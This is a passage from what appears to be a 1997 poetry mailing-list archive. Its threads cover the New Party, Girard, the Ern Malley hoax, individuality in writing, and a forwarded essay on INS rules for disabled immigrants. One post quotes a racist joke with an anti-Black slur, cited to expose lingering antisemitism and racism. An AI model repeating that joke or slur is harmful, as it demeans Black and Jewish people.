they ARE committed to running their own candidates, but only after they have built a larger and INDEPENDENT funding base. projected start date: 3 years. thus the following statement

> *considerable reason that as long as it says it is a "party" but won't field its own cadidates, it is going to be simply a wing of the Clintonian ultra-right Demos,*

is false.

the NP's ideas and efforts are commendable and have potential, but the future is unclear. at some point labor movements such as the one in philly, which consists mostly of groups that are poor-led and poor-organized and strives for independent funding, may be a necessary alternative. they are highly organized and quite serious and quite clear about how *they, personally* are getting fucked over. this summer some members plan to march from the liberty bell to the united nations. last summer they marched from the liberty bell to harrisburg(which is a lot farther than the UN). against (economic) human rights abuses in USA. unfortunately our local news doesnt like to give them any press . . . . let alone getting an article in *the nation*.

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687. **Mark Weiss**
Re: desublimation/eliade
Mon 21 Apr 1997

Bravo Pierre! Grandiosity does get tiresome.

At 09:52 AM 4/21/97 +0000, you wrote:
>Henry -- I read Girard's work with wonder & pleasure as it came out over
>the years, especially the early books. When, however, he got to his
>final theory by which ALL the trouble in the world is explained/resolved
>by ONE shopworn idea (the scape-goat) & ONE solution (a just as shopworn
>xtian possibility) I gave up in anger: his turns out to be one more
>single-narrative alabi explanation more attuned to totalizing 19th
>century desires than to the reality of this century. The evangelical
>arrogance of a man calling his magnum opus "Of things hidden since the
>foundation of the world" — things which he then of course claims to
>reveal for the first time to us befuddled mortal masses — is more than I
>am willing to put up with. -- Pierre
>
>ps. have read elsewhere about the Eliade caper. difficult to disentangle
>the arcana of rumanian secret service stuff. am suspending belief til

>the cows come home on that one which don't mean I cldn't see our
>myth-worker involved in unsavory hanky-panky. That breed seems inclined
>to totalizing gestures -- remember Jung's brushes with fascismo.
>--
>==========
>pierre joris 6 madison place albany ny 12202
>tel/fax [redacted] email:[redacted]
>http://www.albany.edu/~joris/
>----------
>Everything that allows men to become rooted, through
>values or sentiments, in _one_ time, in _one_ history, in
>_one_ language, is the principle of alienation which
>constitutes man as privileged in so far as he is what he is,
>[...] imprisoning him in contentment with his own reality
>and encouraging him to offer it as an example or impose
>it as a conquering assertion. -- Maurice Blanchot
>==========
>
>

↑ Index

688. **raea100900**
Talisman
Mon 21 Apr 1997

Dear List:

Here's a practical question. Can someone give me Talisman (Ed Foster)'s current address. Channel me - back door or front.

Rae Armantrout

↑ Index

689. **Mark Prejsnar**
Re: Perloff on Yasusada
Mon 21 Apr 1997

Chris--

The Ern Malley Affair / Michael Heyward.
London : Faber & Faber, 1993.
currently in print in the U.S. in a Faber paperback for $12.95, according to Books-in-Print.

your friendly librarian poet,

Mark Prejsnar
Atlanta

On Mon, 21 Apr 1997, Christopher Alexander wrote:

> *Philip wwrott:*
> *"Ern Malley" became, and remains, a kind of rallying point for radical modernist, postmodern and avant-garde writing in Australia. For the moralising anti-modernists of mid-century Australian literature, Ern Malley represents the the possibility of an entirely amoral art. (Max Harris was prosecuted for pusblishing obscene material, that is, poetry of indeterminate meaning.) In a chapter I'm currently writing, I argue that in fact Malley becomes the _authentic_ origin of Australian (post)modernism.*
>
> *I wonder if you (or anyone, really) can direct those of us who are not familiar with the Ern Malley affair (which does have a distinctly Victorian ring, thus put) to a few salient (primary &/or secondary) sources. I assume there's a lot of writing on this one out there, somewhere, but possibly in more fugitive publications, & so not, for instance, indexed in the MLA database.*
>
> *Chris*
> *..*
> *christopher alexander, etc. / nominative press collective*
> [redacted] / **********
>
> *http://choengmon.lib.utah.edu/~calexand/nonce*
>
> > *Hey!!*
> > *Now Available for a mere $4:*
> > *_constellation voice_ by linda russo*

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690. **Michael Magee**
Re: who is social, individual, or a writer
Mon 21 Apr 1997

Mark wrote: "a notion of INDIVIDUALITY is precisely an attempt to unify it, unless one wants to retain the term "individuality" to apply to something not singular, not unified, and resistant to description. But it seems to me that "individuality" is by no means sufficent to describe such a field of activity, especially as it is a term already compromised by its prior use as a notion of unified, non-social consciousness that is central to the mechanics of late capitalist cultural domination... I see no way to describe it as "individual," because I see no way to

think of it as a site of any sort of unified consciousness...There are no individuals."

Perhaps the word "individuality" is the real problem here. There's a great number of writers/thinkers who attempt to posit selfhood as "not singular, not unified, and resistant to description." For instance Emerson: "I know better than to claim any completeness for my picture. I am a fragment and this is a fragment of me." Or Creeley: "I am struck by the situation of schizophrenia wherein the experience of body may so place the hands or feet or anus in the consciousness so affected, that no communal agreement as to their location is possible." These seem to me attempts to posit a self which is both contingent and multiple, and certainly resistant to description, description not only of "individuality" but also any description which would merely collapse self into a particular collective. I would argue that these kinds of positionings are both infused with social consciousness and highly resistant of any attempts to construct something resembling, say, "rugged individualism."

-Mike.

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691. **henry gould**
Re: Girard
Mon 21 Apr 1997

I'm about where you are on it, Pierre. These total theories get a little much. But he is subtle & sure can pick apart a myth. - HG

↑ Index

692. **Mark Weiss**
Re: What white
Mon 21 Apr 1997

Try buying a house in Tuxedo Park or Lake Forest. Institutional antisemitism may be down, but it's not out.

Here's a quaint bit of white American folklore that I've known all my life and that's still current in a lot of places: "What do you get if you turn a Jew inside out? A nigger." I remember as a young child puzzling over the mechanics of that one.

At 08:59 AM 4/21/97 -0700, you wrote:
>Maria Damon wrote:
>
>> in
>> europe, where most american jews came from, weren't white. here, we are.

>> so here, we have to take responsibility for our white privilege without
>> forgetting that it's a contingent category. we're "honorary whites," or
>> "sort-of" white, or "white for now." it points up exactly how arbitrary the
>> categories are. but --i can get a loan for a house no problem, i can buy
>> property in certain parts of town, it was assumed i'd go to college (and i
>> did),
>
>Along these lines Noel Ignatiev (co-editor of _Race Traitor_) published
>_How the Irish Became White_ examining in fine historical detail the
>dynamic M. Damon refers to.
>
>_Race Traitor_'s subhead is "a journal of the new abolitionism". It is
>theoretically eclectic in its treatment(s) of social construction-ism.
>however it is precisely about active and activist attempts at
>confronting the very real manifestations of racism, rather than the
>straw-man dance around 'PC', multi-cultural-ism etc. and other bugbears
>that lather up discussions of injured liberal locus communis. One of the
>journal's strengths is the space given to young folks.
>
>mc
>
>

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693. **henry gould**
Re: who is social, etc.
Mon 21 Apr 1997

The position opened by Jeff & enlarged upon by Mark is one I have a hard time understanding! Of course there's been a ton of critical theory on the "place" where the "subject" swerves off into ambiguity, or the Other, or the self-contradictory; and in a time of "identity politics" as well as commodified "personal" poetry, the idea that the individual is not only not important but does not exist holds, I suppose, a certain gleam of provocative interest. Moreover, as I understand the poetic process, it's certainly not just a matter of "self-expression" or self-imitation - it's an exploratory breaking-down & reconfiguring. "You must lose yourself to find yourself", as the proverb goes.

But how does this theory relate, say, to the news report this week, who knows how accurate it is, about a recent scientific study that advances the notion that the skills which activate human intelligence are instilled by age one & based on the amount of spoken interaction the child has with loving parents? I suppose

you could read this either way - but what does it mean for Mark's "power of social ideology" if the child is primed for it by age one?

In my view individuality is not a phenomenon in isolation, & has never been described as such in classical philosophy, as Mark claims. "Man is the civic animal." (Aristotle) "Man is the companionable animal." (Dante) How's that for classics? But the reification (in ideology) of "social forces" to the point of nullifying the sense of individuality seems way off base to me. The whole trend of our century has been toward these totalizing ideas and against the concept of the Person. My own PERSONAL viewpoint is that individuality is the GIST, the very TASTE of the SALT OF THE EARTH which brings the DIGNITY of the PERSON to the POINT, the ESSENCE of political efficacy & meaning - and that this DIGNITY of the HUMAN PERSON is the shadow of the DIVINE ANALOGY which the unity of the HUMAN RACE displays in all its glory. HUMANITY is the living MANIFESTATION of the DIVINE IMAGE. Thank you, & good night. & don't leave out the dolphins, neither - Henry Gould

↑ Index

694. **Sylvester Pollet**

Re: back to drawing board / (if not to lurk)

Mon 21 Apr 1997

That might do it, Aldon. List-lubbers, i.e. lovers, but not quite in the swim. I lub it! sp

> *On Sun, 20 Apr 1997, Hugh Steinberg wrote:*
>
> *Glad someone pointed that out; but still, the surfer idea leads to other maritime possibilities . . . .*
>
> *Stowaways?*
>
> *Hugh Steinberg*
>
> *lubbers?*

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695. **Mark Weiss**

Re: who is social, individual, or a writer

Mon 21 Apr 1997

Silly me. I've always thought that, though I live in the social world, blah blah blah, how I make my way through it might be different, individual, even if there's no such person as the unsocialized urperson. To say that all of my

significant movements are in detail socially determined sounds an awful lot like recycled calvinism. This may be naive (I love the use of naive as an expletive). Of course, none of these assertions are "proveable." It's entirely possible that we are all programmed by aliens for their amusement.

At 09:06 AM 4/21/97 -0400, you wrote:
> Actually, I think Henry Gould and some others are missing the
>implications of Jefferson Hansen's suggestion that writing is a social
>rather than individual phenomena, and I want to elaborate on the reasons
>I'm with Jeff on this one.
>
> Historically, inside the traditions of western philosophy and
>culture, to speak very generally, the "individual" refers to the idea that
>the human being has a single, unified consciousness that exists without
>any level of social mediation--individuals are BORN as themselves, as
>unified, and then come into contact with a social environment. There is a
>lot of writing that takes apart this notion of the individual--I'm not
>sure I want to say more here than that the work of Foucault and many
>others focuses on how the notion of the individual IS ITSELF A SOCIAL
>CREATION.
>
> But let's assume, for the moment, that Henry's evocation of the
>"individual" is a less naive notion; that what he means, rather, is that
>despite the various levels of social interaction to which individuals are
>subjected (and to which they respond in and perhaps beyond that
>subjection), there still remains a PARTICULAR vision that comes forth from
>this particular consciousness, which marks that consciousness as
>individual in the sense that its ideas and productions are exactly that,
>PARTICULAR. This seems perhaps a more workable notion of the individual as
>existing in a kind of social specificity that is not totally accountable
>to group consciousness.
>
> That might seem a better notion of the individual, except that it
>seems to me that there is a further problem. WHILE IT MAY BE TRUE THAT
>SOME PART OF A WRITER'S PRODUCTION MAY COME FROM A UNIQUE PLACE THAT
>CANNOT WHOLLY BE ACCOUNTED FOR BY AN EXAMINATION OF THAT WRITER'S SOCIAL
>FRAME, IT'S NOT CLEAR THAT ANYTHING ABOUT THIS PARTICULARITY CAN BE MARKED
>AS A KIND OF SINGULAR CONSCIOUSNESS THAT COULD BE TERMED INDIVIDUAL. That

>is, if some part of consciousness and production remains opaque to,
>resistant to, unreclaimable by the contextualization of a social frame,
>there is equally no proof that this "resistant" proportion of productive
>consciousness has anything unified about it. In fact, the attempt to
>describe this fundamentally opaque site, whose status cannot be determined
>except through the language to which it remains opaque, as a notion of
>INDIVIDUALITY is precisely an attempt to unify it, unless one wants to
>retain the term "individuality" to apply to something not singular, not
>unified, and resistant to description. But it seems to me that
>"individuality" is by no means sufficent to describe such a field of
>activity, especially as it is a term already compromised by its prior use
>as a notion of unified, non-social consciousness that is central to the
>mechanics of late capitalist cultural domination.
>
> Of course, whether such a field of activity really exists as
>resistant to the social is itself an intensely important question. I would
>take Jeff to mean, in this case, that such a site of resistance, were it
>to exist or not, DOES NOT FORM A SIGNIFICANT GROUND FROM WHICH
THE
>ACTIVITY OF WRITERS FOR INSTANCE EMERGES. Its opaqueness to the so-
cial
>either does not exist at all, or is no more than an undifferentiated
>residue which is at best a minor and indecipherable part of the creative
>process, especially when compared to the power of social ideology. I
>suppose the signficance of this opaque site to creativity could be
>debated, but again, I see no way to describe it as "individual," because I
>see no way to think of it as a site of any sort of unified consciousness.
>
> Clearly, the history of 20th century philosophy, psychoanalysis,
>and cultural studies (and how all these fields are also altered by
>feminism) has been much taken with this history of the status of the
>subect and its (potential?) residues.
>
> There are no individuals.
>
>
> Mark Wallace
>
>/----------\
>| |
>| [redacted] |
>| GWU: |

```
>|      http://gwis2.circ.gwu.edu/~mdw                                |
>|     EPC:                                                |
>|      http://writing.upenn.edu/epc/authors/wallace                    |
>|_____________________________________________________________________|
>
>
```

↑ Index

696. **Sylvester Pollet**

Re: awol

Mon 21 Apr 1997

Kent--this one called awol got through loud & clear. I feel like I read the others, but maybe not, if they were follow-ups. the restaurant sounds like part of the whiteness thread. sp

> *This is another test. One of my messages posted yesterday and three from day before have vanished. One a response to David Kellog's query re: Yasusada's book, another on Culianu's murder, another a valentine to Alan Jen Sondheim, and another reporting what I think is a breakthrough on my efforts to decode B&B's hidden messages. Isn't it too much of a coincidence that just as I expose Bowering and Bromige, my messages start going AWOL?*
>
> *I feel like the guy who was seated first in the restaurant, and then has to watch as everyone else gets served (served, get it?) before him. But this is worse than that.*
>
> *Kent*

↑ Index

697. **GRAHAM W. FOUST**

serfing

Mon 21 Apr 1997

There are, of course, "hodads," i.e. nonsurfers who frequent surfing beaches pretending to be surfers.

Don't know what art is, but I know what I lurk.

Graham
wearing: Ocean Pacific t-shirt, Jams, thick glasses
dredging: up old threads

↑ Index

698. **Sylvester Pollet**
Re: Talisman
Mon 21 Apr 1997

Front, please. It's public info, and I need it too! sp

> *Dear List:*
>
> *Here's a practical question. Can someone give me Talisman (Ed Foster)'s current address. Channel me - back door or front.*
>
> *Rae Armantrout*

↑ Index

699. **David Bromige**
no no i want them back says this individual
Mon 21 Apr 1997

Aldon, i need those magnify-things-out-of-all-proportion spectacles back! I'm looking for a silver lining. That other item was my swimsuit. Actually, keep that. It wouldnt fit me any more. I've been eating tons of these great new potato chips called Kettle, & they have magnified me out of all proportion.

Mark Wallace, always interested in what you have to say. But puzzled, today,to hear there's no such thing as an individual, so let me try to match up what I think with that assertion. Para One (above) was written by an individual, or by someone who has learned how to sound like an individual. He learned that from the stuff all over the scatter we call society. Much of that stuff was commonly available, some of it (family ways) was not. But how he learned it, the way in which he picked it up, & so, what he did with it . . . isnt that down to a genetic template as individual as your fingerprints? Well yes it is and so I think, Mark cant be meaning _that_, when he writes "individual". Your parents (or caregivers during infancy) encourage/discourage the manifestations of this template, thus shape it until it feels like "nature". As your life proceeds, this shaping will largely determine what you cause to happen to you.

But there is something there from the womb they have to work with, no? "Individual" I recall in the Am. Heritage Dictionary as "undividable". Not from soc'y, but from itself. You can sound like anyone, if you're a good mimic, but who is that who is sounding like anyone? Why am I having such a hard time grasping this, when it sounds so straightforward for you?

If there is so individual, there is no sin. Great! But the categories of sin precede capitalism. In fact capitalism requires some of those preexisting categories of behavior--Greed and Avarice--for its continued infliction of itself upon

us poor suffering mortals; mortals, we all die but each faces his death as an individual, alone.

Aldon, wearing only a pair of magnfiying glasses & swimtrunks! You, here? db

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700. **Mark Prejsnar**

Re: (Perloff on Yasusada) footnote/spinoff/response to Mark Prejsnar/Bob P-threaders may also note , uh, "On parody"

Mon 21 Apr 1997

Yup--I agree with this....Much the point, in some ways, of the instances people have been discussing (not Yasusada, but the others): try to use parody as a cudgel and it tends to ricochet back at ya...But within a community of shared concerns, it can be illuminating play.

On Sun, 20 Apr 1997, David Bromige wrote:

> *'The only people who will "see the light" in respondse to your parody will be those who already agreed with your loathing of the style.' Hallelujah, Mark Prejsnar, I couldnt agree more. Would add, however, that "seeing the light" isnt the only pleasure one can take in a parody. One can enjoy "Burnt Norton" and still enjoy "Charred Whitlow" (by Henry reed, is it? Too busy or lazy to look it up). I've seen parodies of writers I greatly admire that have been outrageously funny. It seems to me its something akin to the potential funniness of names--parody can throw limitation into a new light, we see the something mechanical about style, and Bergson in "On Laughter" makes sense to me when he remarks that one thing that can be funny is when human beings act in a mechanical way.Or the comedy routine is "a machine"...Chaplin appears, theres an open hole in the street, we know its only a matter of time before he falls down it . . that example is likely from someone other than Bergson, huh? Cant recall my source there, sorry. Any style has the limitations of its virtues, and if a parody can detach us from its charisma for a moment, we can laugh at it without, however, "seeing the light" & expunging that poet or that poem from our hearts.(I recall the thread on the List months since, concerning "Stopping by Woods" being sung to the tune of "Hernando's Hideaway". Poems from _The Shropshire Lad_ too, I think Bowering posted in, cd also go to that tune.) One of my favorite parodies is by Kenneth Koch, and has fun with WCW's "This is just to say" : "This is just to say/ I'm sorry I broke both yr arms at the dance last night/ but I wanted you on the wards, where _I_ am the doctor." The chief problem w the parody Bob P alludes to, is that it isnt a good parody. It's not well-written. And given its authorship, how cd it have been? Even that is faintly funny. db.*

↑ Index

701. **David Bromige**
marianne moore's poems
Mon 21 Apr 1997

Maria & fellow-Listers & -lubbers, there are 2 versions. One,, too long to type, as sp says, the other, very short, 4 lines I think, all mm left of it in one of the more drastic acts of revision by any poet. Those 4 lines I have neither by heart nor bookshelf.

PS Katharine, interesting that an expletive can look like something deleted. (2) lubbers, as in "lubbers come back to me," "Lubber, when you're near me," "When your lubber has gone", and on & on.

PPS The 50-posts-per-day limit is unfair to Westerners, esp to BC ,Oregon, Washington state & California residents. Unless we're insomniacs, the dice of the day's debate are loaded against us. Would like to see some proportional representation system worked out to redress this imbalance. You c o u l d place a ceiling upon the number of postings by an (excuse the term) individual per day. db

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702. **Mark Prejsnar**
Re: New party, etc
Mon 21 Apr 1997

Kristin--

You may be overgeneralizing from your local experience...Some NP chapters seem to be less exclusively "intellectuals" than the one you've encountered..But that's just as impression. Certainly I'll say this: the day I replied to Kent's initial posting, I happened to get a call from a NP person, a rather arrogant and ignorant fellow, practising what was well-critiqued in a Nation article a year or two ago as "boiler-room leftism"--i.e. "We don't care what you feel or believe or if you're an activist or want to be...Just give us a bunch of your spare money, preferably enough to be a paper member of our organization." He actually read to me from his little sheet that they have ten thousand members and hope to have 20,000 within a year...Needless to say, all but 200 or 300 of these are on paper, not active, just as with DSA. So I think I can agree with you and others who have suggested that the NP is very likely to have problems. I ESPECIALLY agree with your comment that without a legal victory in the fusion case before the Supreme COurt right now they won't have that well-grounded a tactical approach, and will falter..

I'm very excited about your comments re the Labor Party, Kristin; the things you write about their presence and activities in Philly are very encouraging indeed..Thanx for the comments and information

Mark Prejsnar
Atlanta

↑ Index

703. **Michael Magee**
Re: who is social, etc.
Mon 21 Apr 1997

Henry wrote: "In my view individuality is not a phenomenon in isolation, & has never been described as such in classical philosophy, as Mark claims. "Man is the civic animal." (Aristotle) "Man is the companionable animal." (Dante) How's that for classics? But the reification (in ideology) of "social forces" to the point of nullifying the sense of individuality seems way off base to me. The whole trend of our century has been toward these totalizing ideas and against the concept of the Person."

I'd agree, and add that the emphasis of the "civic" which Henry cites has *at least* as dubious a history as any emphasis of individuality one can find. It accounts for what Cornel West has called "the metaphysical residues in Marx: the Hegelian-inspired penchant toward totalizing history, universalizing collectivities, and simplifying emancipation." I'd suggest that one doesn't have to have a unified sense of the individual in order to reject these "metaphysical residues," residues which I think have been profoundly harmful to both "individuals" and their various collectives.

-Mike.

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704. **henry gould**
Re: who is social, etc.
Mon 21 Apr 1997

I canna resist emphasizing a little further. If you deny individuality exists in the writing process, you might as well deny the importance or even existence of individuality per se. Is this what you're saying?

Nothing personal - but I find this a malignant doctrine. Deny the existence of the individual & you might as well start the train cars rolling for the camps. Nothing personal - I sense from M & J's posts over the years that you are both young serious-minded fellows of good character & strong feeling & ideals - maybe you even look alike!!! But this retread of the negation of the human

individual comes from reading too many books in political science, fellas. & you is wrong.

Now please don't accuse me of heatin' up the rhetoric, cause I ain't. I just look at Stalinism & Fascism & all manner of superior authoritarian- isms & hear the same noises. & I agree in advance that Individualism could also become some kinda twisted anti-human ideology. & profit & property have justified their stealth on half-notions of the individual. But don't throw out the BABY with the... - Henry G.

↑ Index

705. **Aldon L. Nielsen**
Re: Misc. Proj.
Mon 21 Apr 1997

---

while decentering "this" subject in the bar of the Atlanta Colony Square Sheraton the other day "I" was handed the first two copies of a publication titled _Misc. Proj._ by a congeries of social forces identified as Mark Prejsnar. Read same on plane back to San Ho, and want to commend them to your collective and perhaps occasionally individual attentions. #1 includes some intriguing poetry by one "Cal Taubman" who may or may not be a real "person" but whose poems I liked much -- also Mark's reviews of two recent Sun & Moon anthologies and several journals and web sites. #2 ("incomprehension is the subtitle") has some good Mark P. poems, the journal watch & "surfing for poetry" features and other delectables --

$3.50 will get you a four issue sub. to this newsletter (you don't have to fly to Atlnata to get it as I did, at least "I" think "I" got it) -- address is:

Misc. Proj.
c/o Prejsnar
641 N. Highland Ave. N.E.
#11
Atlanta, GA 30306

↑ Index

706. **Mark Weiss**
Re: who is social, etc.
Mon 21 Apr 1997

Here's a plea from a guy named Mark: there's more than one of us out here. Please use a last initial (or an honorific title or heroic attribute) to identify. I got an instant case of heartburn from the following. I bet this applies to other names as well.

At 01:25 PM 4/21/97 EDT, you wrote:
>The position opened by Jeff & enlarged upon by Mark is one I have a hard
>time understanding! Of course there's been a ton of critical theory
>on the "place" where the "subject" swerves off into ambiguity, or the
>Other, or the self-contradictory; and in a time of "identity politics"
>as well as commodified "personal" poetry, the idea that the individual
>is not only not important but does not exist holds, I suppose, a certain
>gleam of provocative interest. Moreover, as I understand the poetic
>process, it's certainly not just a matter of "self-expression" or
>self-imitation - it's an exploratory breaking-down & reconfiguring.
>"You must lose yourself to find yourself", as the proverb goes.
>
>But how does this theory relate, say, to the news report this week,
>who knows how accurate it is, about a recent scientific study that
>advances the notion that the skills which activate human intelligence
>are instilled by age one & based on the amount of spoken interaction
>the child has with loving parents? I suppose you could read this
>either way - but what does it mean for Mark's "power of social ideology"
>if the child is primed for it by age one?
>
>In my view individuality is not a phenomenon in isolation, & has never been
>described as such in classical philosophy, as Mark claims. "Man is the
>civic animal." (Aristotle) "Man is the companionable animal." (Dante)
>How's that for classics? But the reification (in ideology) of "social
>forces" to the point of nullifying the sense of individuality seems
>way off base to me. The whole trend of our century has been toward these
>totalizing ideas and against the concept of the Person. My own PERSONAL
>viewpoint is that individuality is the GIST, the very TASTE of the SALT OF
>THE EARTH which brings the DIGNITY of the PERSON to the POINT, the
ESSENCE
>of political efficacy & meaning - and that this DIGNITY of the HUMAN
PERSON
>is the shadow of the DIVINE ANALOGY which the unity of the HUMAN RACE
>displays in all its glory. HUMANITY is the living MANIFESTATION of the
>DIVINE IMAGE. Thank you, & good night. & don't leave out the dolphins, nei-
ther
>- Henry Gould
>
>

↑ Index

707. Mark Weiss
Re: who is social, individual, or a writer
Mon 21 Apr 1997

Yr right, and I'll amend: I love the use of naive as a pejorative.

At 02:12 PM 4/21/97 +1000, you wrote:
>At 10:33 AM 4/21/97, Mark Weiss wrote:
>>Silly me. I've always thought that, though I live in the social world, blah
>>blah blah, how I make my way through it might be different, individual, even
>>if there's no such person as the unsocialized urperson. To say that all of
>>my significant movements are in detail socially determined sounds an awful
>>lot like recycled calvinism. This may be naive (I love the use of naive as
>>an expletive).
>
>
>does expletive mean simply pejorative? i didn't think so. i thought it had
>a more specific meaning which wd make the term "naive" not an expletive.
>can some etymologist or grammarian explain what, exactly, an expletive is?
>
>

↑ Index

708. George Bowering
Re: no no nanook(ie)
Mon 21 Apr 1997

> *As a general rule, Maria, I try to stay out of places where Canadians are dropping their pants.*
>
> *Rachel L.*

Yeah, that's what you say NOW. Bromige told me about Granby, Quebec. So you got to see the boxers with the little anchor design, eh?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

709. Susan Wheeler
Romana Huk
Mon 21 Apr 1997

Romana, if you're on-list, would you email me directly? I'm off list temporarily and can't find your address. Thanks.

Susan Wheeler
[redacted]

37 Washington Square West #10A
New York, New York 10011
[redacted] phone/fax

↑ Index

710. Daniel Zimmerman
Re: who is social, individual, or a writer
Mon 21 Apr 1997

Maria Damon (Maria Damon) wrote:
>
> At 10:33 AM 4/21/97, Mark Weiss wrote:
> >Silly me. I've always thought that, though I live in the social world, blah
> >blah blah, how I make my way through it might be different, individual, even
> >if there's no such person as the unsocialized urperson. To say that all of
> >my significant movements are in detail socially determined sounds an awful
> >lot like recycled calvinism. This may be naive (I love the use of naive as
> >an expletive).
>
> does expletive mean simply pejorative? i didn't think so. i thought it had
> a more specific meaning which wd make the term "naive" not an expletive.
> can some etymologist or grammarian explain what, exactly, an expletive is?

OK:
expletive. n. 1. An exclamation or oath, especially one that is profane or obscene. 2a. A word or phrase added to a line of verse or a sentence in order to ease syntax or rhythm but not to add any meaning. b. a word that stands in place of and anticipates a following word or phrase; for example, the word _it_ is an expletive in the sentence _It is nice to see you._
~adj. Also expletory. Added or inserted in order to fill out something, such as a metrical line or a sentence. [Late Latin _expletivus_,from Latin _expletus_, past participle of _explere_, to fill out' _ex-_, out +

plere, to fill.
[Tormont Webster's Illust. Encyclopedic Dict.]
How's them apples?
[or,
"A former pletive--like, a former pletive spaghetti." --Iron Jay]

Dan Zimmerman

↑ Index

711. P.Standard Schaefer
Re: Talisman
Mon 21 Apr 1997

ED FOSTER

Talisman House Publishers
PO Box 3157
Jersey City, NJ 07303-3157

tel[redacted]
fax[redacted]

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712. David Kellogg
Re: Perloff on Yasusada
Mon 21 Apr 1997

On Mon, 21 Apr 1997, Mark Prejsnar wrote:
>
> Chris--
>
> The Ern Malley Affair / Michael Heyward.
> London : Faber & Faber, 1993.
> currently in print in the U.S. in a Faber paperback for $12.95, according
> to Books-in-Print.

And it's a great story, and well told too.

Cheers,
David
~~~
~~~

[redacted] Durham, NC 27708
FAX [redacted] http://www.duke.edu/~kellogg/

There is no mantle
and it does not descend.

-- Thomas Kinsella

↑ Index

713. **Philip Mead**
Re: Perloff on Yasusada
Mon 21 Apr 1997

Heyward's book is strong on archival and original research, but not so strong on readings of the poems and the cultural signficance of Malley. See my review article: "Cultural Pathology: What Ern Malley Means," _Australian Literary Studies_ 17.1 (May 1995): 83-88. If this is difficult for any interested US readers to track down, please backchannel to me personally.

Philip

> *The Ern Malley Affair / Michael Heyward.*
> *London : Faber & Faber, 1993.*
> *currently in print in the U.S. in a Faber paperback for $12.95, according to Books-in-Print.*
>
> *your friendly librarian poet,*
>
> *Mark Prejsnar*
> *Atlanta*
>
> *On Mon, 21 Apr 1997, Christopher Alexander wrote:*
>
> *Philip wwrott:*
> *"Ern Malley" became, and remains, a kind of rallying point for radical modernist, postmodern and avant-garde writing in Australia. For the moralising anti-modernists of mid-century Australian literature, Ern Malley*
> *represents the the possibility of an entirely amoral art. (Max Harris was prosecuted for pusblishing obscene material, that is, poetry of indeterminate meaning.) In a chapter I'm currently writing, I argue that in*
> *fact Malley becomes the _authentic_ origin of Australian (post)modernism.*
>
> *I wonder if you (or anyone, really) can direct those of us*
> *who are not familiar with the Ern Malley affair (which*

> *does have a distinctly Victorian ring, thus put) to a few*
> *salient (primary &/or secondary) sources. I assume there's*
> *a lot of writing on this one out there, somewhere, but*
> *possibly in more fugitive publications, & so not, for instance,*
> *indexed in the MLA database.*
>
> *Chris*
> *..*
> *christopher alexander, etc. / nominative press collective*
> *[redacted] / ********************************

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

>>>

like that -- as a compilation, from my perspective, of forms of language & experience that resembled in traditional contexts what Rimbaud projected as the "absolutely modern." And the term "technicians of the sacred," which I came away with, gave me something to think about -- alternately with fear & wonder.

Anyway, this to say I read you with interest in this strange medium.

With best,

Jerome Rothenberg
[redacted]

↑ Index

715. **Gabrielle Welford**
The Implications of Public Policy (fwd)
Mon 21 Apr 1997

---------- Forwarded message ----------
Date: Mon, 14 Apr 1997 15:34:46 -0700 (PDT)
From: APIHIN - Dong Suh <[redacted]>

Blink, Grandma, Please..."
By Andrew Lam, Pacific News Service

"Please, Grandma, blink, just blink, please," my mother says, but Grandma only smiles. Then she says, "Bye, bye," her wheelchair gleaming in the sunlight. "Bye, bye." It is all the English that she remembers.

"Alright, Grandma," I say, taking over, "if blinking's too hard, try to nod. Nod, please, it's important. Very important."

We hold our breaths and wait. Nothing. No blink, no nod. Only that constant beatific smile. My mother finally throws her hands up and sighs. "This is it. We are doomed."

Grandma must learn to blink or nod her head at the right time. If she fails to do so in front the officer from the Immigration and Naturalization Service, she may die.

I am not exaggerating. Without the much coveted U.S. citizenship, she'll be cut off from the health care that had kept her alive for the last decade.

Blink, grandma, please.

The problem is that Grandma's once sharp mind has dwindled to that of an infant, peppered with sporadic moments of lucidity. She's 87, diabetic and severely senile. Since a stroke left her partially paralyzed several years ago, she has resided in a convalescent home where attendants regularly measure her blood and inject the insulin she needs.

As a legal immigrant who has lived here for more than two decades, she is qualified for U.S. citizenship. In 1994 Congress passed a law that exempted seriously disabled immigrants from English proficiency and civics requirements. Then, last month, the INS issued new rules removing that exemption. The INS says it will be flexible about ways that these immigrants can take the oath. Blinking or nodding, they say, will suffice.

But what seems to the INS an easy, even a charitable solution is more like cruel and unusual punishment to mentally handicapped immigrants. How can a person suffering Alzheimer's disease nod at the right moment? Can you teach a mentally retarded child to blink, pretending to understand that he's taking an oath? And can people in comas or completely gone into their own worlds possibly grasp that a single gesture has such enormous significance.

The situation would be sardonically funny in a play or movie -- Samuel Beckett, I should think, or perhaps Stanley Kubrick. But this is not make-believe; this is the new American reality for hundreds of thousands of immigrant families like mine.

Blink, grandma, please.

Of course, if Grandma is thrown out of the convalescent home she will be far from a life on the street: we take care of our own. But how well? And how long? My parents are not rich. They worked for decades to achieve a modest middle class life, complete with a home in the suburbs. But they are both in their late 60s and can't possibly perform round-the-clock care - let alone medical duties.

It comes down to this: If Grandma fails to blink at the right time she will not become an American citizen. Then the government may take away her health care. If that happens, my parents may have to sell their home, the sum of their labor, to pay for her medical treatment. Then after all the money's gone, what?

Blink, grandma, please.

This woman, gray haired, smiling in the sunlight, survived two wars in Vietnam. She had seen enough horrors to last ten lifetimes -- including having her home bombed twice by American planes. She raised four children on her own when her husband died at the age of 34 and, after we fled to America 22 years ago, babysat her grandchildren, cooked and cleaned.

In her mid seventies, she decided to go back to school to study English. "Never give up," she often told her grandchildren, "when there is still work you must finish it."

Her strong values passed down to three generations, all now hard-working Americans. But in her twilight, my grandmother is faced with something she can not possibly fight: The banal bureaucracy of the U.S. government.

Blink, grandma, please.

Last year, some of my aunts and uncles voted for Proposition 187, the "anti-illegal immigrant initiative," hoping to draw the line between legal and illegal. But they soon discovered that line did not hold. It has becomes clear to us all that the anti-immigrant purge makes no such distinctions and is going after the weakest link -- the aged immigrants, those who could not vote, or have no public voice. But will it stop there?

If we are ready to force retarded and senile immigrants to blink and nod before we care for them, then we ourselves have already shut our eyes. As anti-immigrant sentiment grows, we no longer recognize ourselves as a nation of immigrants. When a society hides behind bureaucracy to do its dirty work the only logical outcome is cruelty.

